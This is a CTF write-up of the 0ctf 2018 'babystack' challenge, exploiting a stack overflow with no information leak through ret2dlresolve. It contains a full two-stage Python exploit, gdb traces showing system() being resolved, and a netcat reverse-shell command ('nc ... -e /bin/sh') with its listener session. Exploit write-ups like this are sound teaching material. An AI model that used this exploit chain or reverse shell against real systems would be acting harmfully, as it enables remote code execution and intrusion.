0ctf 2018 quals - babystack (ret2dlresolve)

Info leak is no longer required to exploit a stack overflow in 2018.

Enjoy the babystack

202.120.7.202:6666 Attachment: babystack pow.py xpl.py

The challenge was originally solved by vakzz in the ctf. I just tried it also afterwards and made the writeup to have some notes on ret2dlresolve.

CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

Ok, there’s not much in the binary to work with. All it does, is setting up a timeout and then call a function with an obvious buffer overflow.

void vuln()
{
  char buf; 

  return read(0, &buf, 64);
}

Thus, the binary only has got entries for alarm and read, no easy way to print anything. And even if we could write something, the calling python script would pipe it to /dev/null.

#!/usr/bin/python -u
# encoding: utf-8

import random, string, subprocess, os, sys
from hashlib import sha256

os.chdir(os.path.dirname(os.path.realpath(__file__)))

def proof_of_work():
    chal = ''.join(random.choice(string.letters+string.digits) for _ in xrange(16))
    print chal
    sol = sys.stdin.read(4)
    if len(sol) != 4 or not sha256(chal + sol).digest().startswith('\0\0\0'):
        exit()


def exec_serv(name, payload):
    p = subprocess.Popen(name, stdin=subprocess.PIPE, stdout=file('/dev/null','w'), stderr=subprocess.STDOUT)
    p.stdin.write(payload)
    p.wait()

if __name__ == '__main__':
    proof_of_work()
    payload = sys.stdin.read(0x100)
    exec_serv('./babystack', payload)

This script is used on the server, to read the proof of work and then start the binary.

It will read 0x100 bytes once and then pass them to the binary, so we cannot do multiple sends and have to send our complete payload in one go (might render your exploit unusable, if you developed it against the binary directly). So we have to forge our payload carefully, doing exact reads, when passing additional data in our payload.

  • No output, so no leaks possible
  • No libc provided, so no offset calculation possible

Obviously, they’re asking for ret2dlresolve. Won’t be doing a complete walkthrough on how to setup the different tables needed for ret2dlresolve, since there are already many writeups out there, which go into more detail.

This writeup serves more as a reminder for my future me ;)

Other writeups on ret2dlresolve:

When a binary tries to call a function from libc for the first time, it has to resolve the real address of the function in libc first.

At startup the got entries in the binary contains the address of the corresponding plt function:

0x804a000:  0x08049f14  0xf7ffd940  0xf7fead80  0x08048306  <= _dl_runtime_resolve / read.got
0x804a010:  0x08048316  0xf7dcdd90  0x00000000  0x00000000  <= alarm.got

gdb-peda$ x/2i 0x08048306
   0x8048306 <read@plt+6>:  push   0x0
   0x804830b <read@plt+11>: jmp    0x80482f0

gdb-peda$ x/2i 0x08048316
   0x8048316 <alarm@plt+6>: push   0x8
   0x804831b <alarm@plt+11>:  jmp    0x80482f0

gdb-peda$ x/2i 0x80482f0
   0x80482f0: push   DWORD PTR ds:0x804a004    <= link_map
   0x80482f6: jmp    DWORD PTR ds:0x804a008    <= 0xf7fead80 (_dl_runtime_resolve)

gdb-peda$ x/10i 0xf7fead80
   0xf7fead80 <_dl_runtime_resolve>:  push   eax
   0xf7fead81 <_dl_runtime_resolve+1>:  push   ecx
   0xf7fead82 <_dl_runtime_resolve+2>:  push   edx
   0xf7fead83 <_dl_runtime_resolve+3>:  mov    edx,DWORD PTR [esp+0x10]
   0xf7fead87 <_dl_runtime_resolve+7>:  mov    eax,DWORD PTR [esp+0xc]
   0xf7fead8b <_dl_runtime_resolve+11>: call   0xf7fe4f30 <_dl_fixup>
   0xf7fead90 <_dl_runtime_resolve+16>: pop    edx
   0xf7fead91 <_dl_runtime_resolve+17>: mov    ecx,DWORD PTR [esp]
   0xf7fead94 <_dl_runtime_resolve+20>: mov    DWORD PTR [esp],eax
   0xf7fead97 <_dl_runtime_resolve+23>: mov    eax,DWORD PTR [esp+0x4]

In the binary itself, whenever it wants to call read for example, it will call read.plt

gdb-peda$ x/10i 0x804843b
   0x804843b: push   ebp
   0x804843c: mov    ebp,esp
   0x804843e: sub    esp,0x28
   0x8048441: sub    esp,0x4
   0x8048444: push   0x40
   0x8048446: lea    eax,[ebp-0x28]
   0x8048449: push   eax
   0x804844a: push   0x0
   0x804844c: call   0x8048300 <read@plt>
   0x8048451: add    esp,0x10

gdb-peda$ x/3i 0x8048300
   0x8048300 <read@plt>:  jmp    DWORD PTR ds:0x804a00c
   0x8048306 <read@plt+6>:  push   0x0
   0x804830b <read@plt+11>: jmp    0x80482f0

The read@plt function will jump to the address stored at 0x804a00c, which points to 0x8048306 at program startup. This is basically read@plt+6, which will then push a 0x0 (offset for read symbol) to the stack and jump to 0x80482f0, which then pushes 0x804a004 (link_map) to the stack and call the function stored in address 0x804a008 (which points to _dl_runtime_resolve).

_dl_runtime_resolve will now lookup the correct address of read in libc, store it in the got entry (0x804a00c) and call it. Though, when read is now called another time, read@plt will again try to jump to the address stored at 0x804a00c. But this time, since the linker already stored the resolved address there, it will directly jump to read in libc.

.text
  .globl _dl_runtime_resolve
  .type _dl_runtime_resolve, @function
  cfi_startproc
  .align 16
_dl_runtime_resolve:
  cfi_adjust_cfa_offset (8)
  pushl %eax    # Preserve registers otherwise clobbered.
  cfi_adjust_cfa_offset (4)
  pushl %ecx
  cfi_adjust_cfa_offset (4)
  pushl %edx
  cfi_adjust_cfa_offset (4)
  movl 16(%esp), %edx # Copy args pushed by PLT in register.  Note
  movl 12(%esp), %eax # that `fixup' takes its parameters in regs.
  call _dl_fixup    # Call resolver.
  popl %edx   # Get register content back.
  cfi_adjust_cfa_offset (-4)
  movl (%esp), %ecx
  movl %eax, (%esp) # Store the function address.
  movl 4(%esp), %eax
  ret $12     # Jump to function address.
  cfi_endproc
  .size _dl_runtime_resolve, .-_dl_runtime_resolve

_dl_runtime_resolve will call _dl_fixup to resolve the address of the function in libc.

_dl_fixup (struct link_map *l, ElfW(Word) reloc_arg)
{
  const ElfW(Sym) *const symtab
    = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
  const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);

  const PLTREL *const reloc
    = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
  const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
  const ElfW(Sym) *refsym = sym;
  void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
  lookup_t result;
  
  ...
  
      result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
            version, ELF_RTYPE_CLASS_PLT, flags, NULL);

  ...
}

_dl_fixup gets a pointer to the link_map and a reloc_arg, which defines where to look in the symbol table for the name of the symbol.

If we’re able to create a fake symtab and call _dl_runtime_resolve with the offset to our fake symbol, _dl_fixup will happily resolve our symbol and call it. Refer to the already mentioned writeups for more detail on creating fake symtab and strtabs. For now, we’ll be using roputils to do the calculations and forge those.

For the start, babystack reads 64 bytes input, and the overflow into ebp happens after byte 40. That means, we have 24 bytes for our payload, which is not quite enough for what we need, so we start with forcing it to read another payload enlarging our ropchain.

#!/usr/bin/python
from pwn import *
import roputils, sys, string, itertools
from hashlib import sha256

LOCAL = True

HOST = "202.120.7.202"
PORT = 6666

charset = string.letters+string.digits

def calcpow(chal):
    for combo in itertools.combinations_with_replacement(string.letters+string.digits,4):
        sol = ''.join(combo)        
        if sha256(chal + sol).digest().startswith("\0\0\0"):
            return sol

    return None

def get_connection():
    return remote("localhost", 6666) if LOCAL else remote(HOST, PORT)

def exploit():
    log.info("Solve pow ")

    sol = None

    while sol == None:
        r = get_connection()

        sol = calcpow(r.recvline().strip())

        if sol == None:
            r.close()            

    r.send(sol)

    log.info("Stage1: Prepare bigger read for ropchain")

    payload = "A"*40
    payload += p32(0x804a500)
    payload += p32(0x8048446)
    payload += p32(80)                 # exact length of stage 2 payload
    payload += "B"*(64-len(payload))

    r.sendline(payload)

    r.interactive()
    
    return

if __name__ == "__main__":
    e = ELF("./babystack")

    if len(sys.argv) > 1:
        LOCAL = False        
        exploit()
    else:
        LOCAL = True                        
        exploit()

This will read another ropchain at 0x804a4d8 (ebp-0x28), so we know exactly where our next string will be stored (partially defeating ASLR).

gdb-peda$ x/10i 0x8048446
   0x8048446: lea    eax,[ebp-0x28]
   0x8048449: push   eax
   0x804844a: push   0x0
   0x804844c: call   0x8048300 <read@plt>
   0x8048451: add    esp,0x10
   0x8048454: nop
   0x8048455: leave  
   0x8048456: ret    

The following leave; ret will pivot the stack to our payload, executing the next ropchain, we’ll store there.

In the next step, we’ll do another read, which will read our fake symbol onto bss and then creates a call to _dl_runtime_resolve with the offset to our fake symbol.

log.info("Stage2: Send ret2dlresolve executing reverse shell")

payload += "A"*40
payload += p32(0x804a500)

# Read the fake tabs from payload2 to bss
payload += rop.call("read", 0, addr_bss, 150)

# Call dl_resolve with offset to our fake symbol
payload += rop.dl_resolve_call(addr_bss+60, addr_bss)

# Create fake rel and sym on bss
payload2 = rop.string("nc %s 7777 -e /bin/sh" % LOCALIP)
payload2 += rop.fill(60, payload2)                        # Align symbol to bss+60
payload2 += rop.dl_resolve_data(addr_bss+60, "system")    # Fake r_info / st_name
payload2 += rop.fill(150, payload2)
    
payload += payload2

payload = payload.ljust(0x100, "\x00")
def dl_resolve_call(self, base, *args):
        jmprel = self.dynamic('JMPREL')
        relent = self.dynamic('RELENT')

        addr_reloc, padlen_reloc = self.align(base, jmprel, relent)
        reloc_offset = addr_reloc - jmprel

        buf = self.p(self.plt())
        buf += self.p(reloc_offset)
        buf += self.p(self.gadget('pop', n=len(args)))
        buf += self.p(args)

        return buf

dl_resolve_call will calculate the offset for our fake symbol and put the address of the plt function to the stack, which will then basically call

gdb-peda$ x/2i 0x80482f0
   0x80482f0: push   DWORD PTR ds:0x804a004    <= link_map
   0x80482f6: jmp    DWORD PTR ds:0x804a008    <= 0xf7fead80 (_dl_runtime_resolve)

putting the link map on the stack, and call _dl_runtime_resolve.

Stack after the last read and the pop gadgets:

[----------------------------------registers-----------------------------------]
EAX: 0x70 ('p')
EBX: 0x0 
ECX: 0x804a020 ("nc localhost 7777 -e /bin/sh")
EDX: 0x96 
ESI: 0x0 
EDI: 0x804a020 ("nc localhost 7777 -e /bin/sh")
EBP: 0x96 
ESP: 0x804a518 --> 0x80482f0 (push   DWORD PTR ds:0x804a004)
EIP: 0x80484ec (ret)
EFLAGS: 0x216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80484e9: pop    esi
   0x80484ea: pop    edi
   0x80484eb: pop    ebp
=> 0x80484ec: ret    
   0x80484ed: lea    esi,[esi+0x0]
   0x80484f0: repz ret 
   0x80484f2: add    BYTE PTR [eax],al
   0x80484f4: push   ebx
[------------------------------------stack-------------------------------------]
0000| 0x804a518 --> 0x80482f0 (push   DWORD PTR ds:0x804a004)
0004| 0x804a51c --> 0x1db0 
0008| 0x804a520 --> 0x80482e9 (pop    ebx)
0012| 0x804a524 --> 0x804a020 ("nc localhost 7777 -e /bin/sh")
0016| 0x804a528 --> 0x0 
0020| 0x804a52c --> 0x0 
0024| 0x804a530 --> 0x0 
0028| 0x804a534 --> 0x0 
[------------------------------------------------------------------------------]
=> 0x80482f0: push   DWORD PTR ds:0x804a004
   0x80482f6: jmp    DWORD PTR ds:0x804a008
   0x80482fc: add    BYTE PTR [eax],al
   0x80482fe: add    BYTE PTR [eax],al
[------------------------------------stack-------------------------------------]
0000| 0x804a51c --> 0x1db0 
0004| 0x804a520 --> 0x80482e9 (pop    ebx)
0008| 0x804a524 --> 0x804a020 ("nc localhost 7777 -e /bin/sh")

Calling _dl_runtime_resolve

[----------------------------------registers-----------------------------------]
EAX: 0x70 ('p')
EBX: 0x0 
ECX: 0x804a020 ("nc localhost 7777 -e /bin/sh")
EDX: 0x96 
ESI: 0x0 
EDI: 0x804a020 ("nc localhost 7777 -e /bin/sh")
EBP: 0x96 
ESP: 0x804a518 --> 0xf7f09940 --> 0x0 
EIP: 0x80482f6 (jmp    DWORD PTR ds:0x804a008)
EFLAGS: 0x216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80482ed: add    BYTE PTR [eax],al
   0x80482ef: add    bh,bh
   0x80482f1: xor    eax,0x804a004
=> 0x80482f6: jmp    DWORD PTR ds:0x804a008
 | 0x80482fc: add    BYTE PTR [eax],al
 | 0x80482fe: add    BYTE PTR [eax],al
 | 0x8048300 <read@plt>:  jmp    DWORD PTR ds:0x804a00c
 | 0x8048306 <read@plt+6>:  push   0x0
 |->   0xf7ef6d80 <_dl_runtime_resolve>:  push   eax
       0xf7ef6d81 <_dl_runtime_resolve+1>:  push   ecx
       0xf7ef6d82 <_dl_runtime_resolve+2>:  push   edx
       0xf7ef6d83 <_dl_runtime_resolve+3>:  mov    edx,DWORD PTR [esp+0x10]
                                                                  JUMP is taken
[------------------------------------stack-------------------------------------]
0000| 0x804a518 --> 0xf7f09940 --> 0x0 
0004| 0x804a51c --> 0x1db0 
0008| 0x804a520 --> 0x80482e9 (pop    ebx)
0012| 0x804a524 --> 0x804a020 ("nc localhost 7777 -e /bin/sh")
0016| 0x804a528 --> 0x0 
0020| 0x804a52c --> 0x0 
0024| 0x804a530 --> 0x0 
0028| 0x804a534 --> 0x0 
[------------------------------------------------------------------------------]

Calling _dl_fixup

[----------------------------------registers-----------------------------------]
EAX: 0xf7f09940 --> 0x0 
EBX: 0x0 
ECX: 0x804a020 ("nc localhost 7777 -e /bin/sh")
EDX: 0x1db0 
ESI: 0x0 
EDI: 0x804a020 ("nc localhost 7777 -e /bin/sh")
EBP: 0x96 
ESP: 0x804a50c --> 0x96 
EIP: 0xf7ef6d8b (<_dl_runtime_resolve+11>:  call   0xf7ef0f30 <_dl_fixup>)
EFLAGS: 0x216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xf7ef6d82 <_dl_runtime_resolve+2>:  push   edx
   0xf7ef6d83 <_dl_runtime_resolve+3>:  mov    edx,DWORD PTR [esp+0x10]
   0xf7ef6d87 <_dl_runtime_resolve+7>:  mov    eax,DWORD PTR [esp+0xc]
=> 0xf7ef6d8b <_dl_runtime_resolve+11>: call   0xf7ef0f30 <_dl_fixup>
   0xf7ef6d90 <_dl_runtime_resolve+16>: pop    edx
   0xf7ef6d91 <_dl_runtime_resolve+17>: mov    ecx,DWORD PTR [esp]
   0xf7ef6d94 <_dl_runtime_resolve+20>: mov    DWORD PTR [esp],eax
   0xf7ef6d97 <_dl_runtime_resolve+23>: mov    eax,DWORD PTR [esp+0x4]
Guessed arguments:
arg[0]: 0x96 
arg[1]: 0x804a020 ("nc localhost 7777 -e /bin/sh")
arg[2]: 0x70 ('p')
[------------------------------------stack-------------------------------------]
0000| 0x804a50c --> 0x96 
0004| 0x804a510 --> 0x804a020 ("nc localhost 7777 -e /bin/sh")
0008| 0x804a514 --> 0x70 ('p')
0012| 0x804a518 --> 0xf7f09940 --> 0x0 
0016| 0x804a51c --> 0x1db0 
0020| 0x804a520 --> 0x80482e9 (pop    ebx)
0024| 0x804a524 --> 0x804a020 ("nc localhost 7777 -e /bin/sh")
0028| 0x804a528 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
43  in ../sysdeps/i386/dl-trampoline.S

Calling _dl_lookup_symbol_x

[----------------------------------registers-----------------------------------]
EAX: 0xf7f09940 --> 0x0 
EBX: 0x1 
ECX: 0x804a06c --> 0x1e50 
EDX: 0x804a4e8 --> 0x804a06c --> 0x1e50 
ESI: 0x0 
EDI: 0x804a07c ("system")
EBP: 0x804a05c ("BgA6\\\240\004\b\a\352\001")
ESP: 0x804a4ac --> 0x804a07c ("system")
EIP: 0xf7ef0fe3 (<_dl_fixup+179>: call   0xf7eebe70 <_dl_lookup_symbol_x>)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xf7ef0fdc <_dl_fixup+172>:  mov    edi,DWORD PTR [esp+0x28]
   0xf7ef0fe0 <_dl_fixup+176>:  add    edi,DWORD PTR [ecx]
   0xf7ef0fe2 <_dl_fixup+178>:  push   edi
=> 0xf7ef0fe3 <_dl_fixup+179>:  call   0xf7eebe70 <_dl_lookup_symbol_x>
   0xf7ef0fe8 <_dl_fixup+184>:  mov    edi,eax
   0xf7ef0fea <_dl_fixup+186>:  mov    eax,gs:0xc
   0xf7ef0ff0 <_dl_fixup+192>:  add    esp,0x20
   0xf7ef0ff3 <_dl_fixup+195>:  test   eax,eax
Guessed arguments:
arg[0]: 0x804a07c ("system")
arg[1]: 0xf7f09940 --> 0x0 
arg[2]: 0x804a4e8 --> 0x804a06c --> 0x1e50 
arg[3]: 0xf7f09af8 --> 0xf7f09a9c --> 0xf7edb3e0 --> 0xf7f09940 --> 0x0 
arg[4]: 0x0 
arg[5]: 0x1 
[------------------------------------stack-------------------------------------]
0000| 0x804a4ac --> 0x804a07c ("system")
0004| 0x804a4b0 --> 0xf7f09940 --> 0x0 
0008| 0x804a4b4 --> 0x804a4e8 --> 0x804a06c --> 0x1e50 
0012| 0x804a4b8 --> 0xf7f09af8 --> 0xf7f09a9c --> 0xf7edb3e0 --> 0xf7f09940 --> 0x0 
0016| 0x804a4bc --> 0x0 
0020| 0x804a4c0 --> 0x1 
0024| 0x804a4c4 --> 0x1 
0028| 0x804a4c8 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0xf7ef0fe3  112 in dl-runtime.c

And there it goes, resolving system :)

[----------------------------------registers-----------------------------------]
EAX: 0x70 ('p')
EBX: 0x0 
ECX: 0x804a020 ("nc localhost 7777 -e /bin/sh")
EDX: 0x96 
ESI: 0x0 
EDI: 0x804a020 ("nc localhost 7777 -e /bin/sh")
EBP: 0x96 
ESP: 0x804a510 --> 0xf7cfdd00 (<__libc_system>: sub    esp,0xc)
EIP: 0xf7ef6d9b (<_dl_runtime_resolve+27>:  ret    0xc)
EFLAGS: 0x212 (carry parity ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xf7ef6d91 <_dl_runtime_resolve+17>: mov    ecx,DWORD PTR [esp]
   0xf7ef6d94 <_dl_runtime_resolve+20>: mov    DWORD PTR [esp],eax
   0xf7ef6d97 <_dl_runtime_resolve+23>: mov    eax,DWORD PTR [esp+0x4]
=> 0xf7ef6d9b <_dl_runtime_resolve+27>: ret    0xc
   0xf7ef6d9e:  xchg   ax,ax
   0xf7ef6da0 <_dl_runtime_profile>:  push   esp
   0xf7ef6da1 <_dl_runtime_profile+1>:  add    DWORD PTR [esp],0x8
   0xf7ef6da5 <_dl_runtime_profile+5>:  push   ebp
[------------------------------------stack-------------------------------------]
0000| 0x804a510 --> 0xf7cfdd00 (<__libc_system>:  sub    esp,0xc)
0004| 0x804a514 --> 0x70 ('p')
0008| 0x804a518 --> 0xf7f09940 --> 0x0 
0012| 0x804a51c --> 0x1db0 
0016| 0x804a520 --> 0x80482e9 (pop    ebx)
0020| 0x804a524 --> 0x804a020 ("nc localhost 7777 -e /bin/sh")
0024| 0x804a528 --> 0x0 
0028| 0x804a52c --> 0x0 
[------------------------------------------------------------------------------]

At the end of _dl_runtime_resolve, the address of system will be on the stack together with our arguments.

Finally calling system

[----------------------------------registers-----------------------------------]
EAX: 0x70 ('p')
EBX: 0x0 
ECX: 0x804a020 ("nc localhost 7777 -e /bin/sh")
EDX: 0x96 
ESI: 0x0 
EDI: 0x804a020 ("nc localhost 7777 -e /bin/sh")
EBP: 0x96 
ESP: 0x804a520 --> 0x80482e9 (pop    ebx)
EIP: 0xf7cfdd00 (<__libc_system>: sub    esp,0xc)
EFLAGS: 0x212 (carry parity ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xf7cfdcf5 <cancel_handler+197>: ret    
   0xf7cfdcf6:  lea    esi,[esi+0x0]
   0xf7cfdcf9:  lea    edi,[edi+eiz*1+0x0]
=> 0xf7cfdd00 <__libc_system>:  sub    esp,0xc
   0xf7cfdd03 <__libc_system+3>:  mov    eax,DWORD PTR [esp+0x10]
   0xf7cfdd07 <__libc_system+7>:  call   0xf7df5d5d <__x86.get_pc_thunk.dx>
   0xf7cfdd0c <__libc_system+12>: add    edx,0x1982f4
   0xf7cfdd12 <__libc_system+18>: test   eax,eax
[------------------------------------stack-------------------------------------]
0000| 0x804a520 --> 0x80482e9 (pop    ebx)
0004| 0x804a524 --> 0x804a020 ("nc localhost 7777 -e /bin/sh")
0008| 0x804a528 --> 0x0 
0012| 0x804a52c --> 0x0 
0016| 0x804a530 --> 0x0 
0020| 0x804a534 --> 0x0 
0024| 0x804a538 --> 0x0 
0028| 0x804a53c --> 0x0 
[------------------------------------------------------------------------------]

I first tried launching /bin/sh directly, but had no output, since the starter script piped stdout to /dev/null, so I opted for a reverse shell.

So, for this exploit working, open up a terminal with

nc -lvvp 7777

and in another terminal firing up the exploit

$ python xpl.py 1
[*] '/home/kileak/pwn/Challenges/0ctf18/pwn/babystack/babystack'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] Solve pow 
[+] Opening connection to 202.120.7.202 on port 6666: Done
[*] Closed connection to 202.120.7.202 port 6666
[+] Opening connection to 202.120.7.202 on port 6666: Done
[*] Paused (press any to continue)
[*] Stage1: Prepare bigger read for ropchain
[*] Stage2: Send ret2dlresolve executing reverse shell
[*] Switching to interactive mode

Switching back to our first terminal:

$ nc -lvvp 7777
listening on [any] 7777 ...
202.120.7.202: inverse host lookup failed: Unknown host
connect to [192.168.2.102] from (UNKNOWN) [202.120.7.202] 59808
ls
babystack
flag
pow.py
cat flag
flag{return_to_dlresolve_for_warming_up}